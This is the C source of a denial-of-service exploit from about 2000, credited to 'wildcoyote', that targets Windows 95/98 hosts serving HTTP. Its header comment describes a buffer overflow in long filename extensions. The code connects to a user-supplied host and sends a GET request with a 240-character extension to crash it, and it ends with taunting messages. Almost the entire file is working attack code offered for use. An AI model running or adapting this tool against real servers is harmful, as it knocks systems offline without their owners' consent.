/* Description: Dos Attack against any windows version (95/98 TESTED) by wildcoyote Comments : Windows 95 and 98 suffer from a buffer overflow that will result in a crash if a filename with an extension longer that 232 characters is accessed. Although arbitrary code could be executed via this manner, it would have to composed of valid filename character values only. Windows NT 4.0 has not yet been tested for this vulnerability, and therefore may be vulnerable as well. (According to a bugtraq advisorie) Btw, knowing this, i'll use thiz flaw in windows using a GET command to a file of that caracteristicz... (on any HTTP win [serving] host) Flamez to : wildcoyote@gk-team.org */ #include #include #include #include #include #include #include #include #include #include int openhost(char *host,int port) { int sock; struct sockaddr_in addr; struct hostent *he; he=gethostbyname(host); if (he==NULL) { perror("gethostbyname()"); exit(-1); } sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto); if (sock==-1) { perror("socket()"); exit(-1); } memcpy(&addr.sin_addr, he->h_addr, he->h_length); addr.sin_family=AF_INET; addr.sin_port=htons(port); if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) { sock=-2; } return sock; } void sends(int sock,char *buf) { write(sock,buf,strlen(buf)); } void attack(char *host, int port) { int sock,i; char *buf; printf("\n\tDos Attack against any windows version (95/98 TESTED) by wildcoyote\n\n"); printf("Trying to connect to %s (%d)....(please wait)\n",host,port); sock=openhost(host,port); if(sock<=0) { printf("- Could not connect -\n"); printf("Exiting...\n\n"); exit(-1); } else printf("Connected to %s (%d)\n",host,port); buf = (char *) malloc(260); strcpy(buf,"GET /command."); for(i=0;i<240;i++) strcat(buf,"A"); strcat(buf,"\n"); printf("Oh k! Sending a 240'char (extension) filename request to host...\n"); sends(sock,buf); close(sock); free(buf); printf("Crash sent! The host *probably* crashed :P\n"); printf("Send flamez to wildcoyote@gk-team.org, *Enjoy*...\n\n"); } main(int argc, char *argv[]) { int sock,i; if (argc<2) { printf("\n\tDos Attack against any windows version (95/98 TESTED) by wildcoyote\n\n"); printf("Sintaxe: %s [port - default 80]\n",argv[0]); printf("Send flamez to wildcoyote@gk-team.org, *Enjoy*...\n\n"); } else if (argc==2) attack(argv[1],80); else attack(argv[1],atoi(argv[2])); } /* www.hack.co.za [1 August2000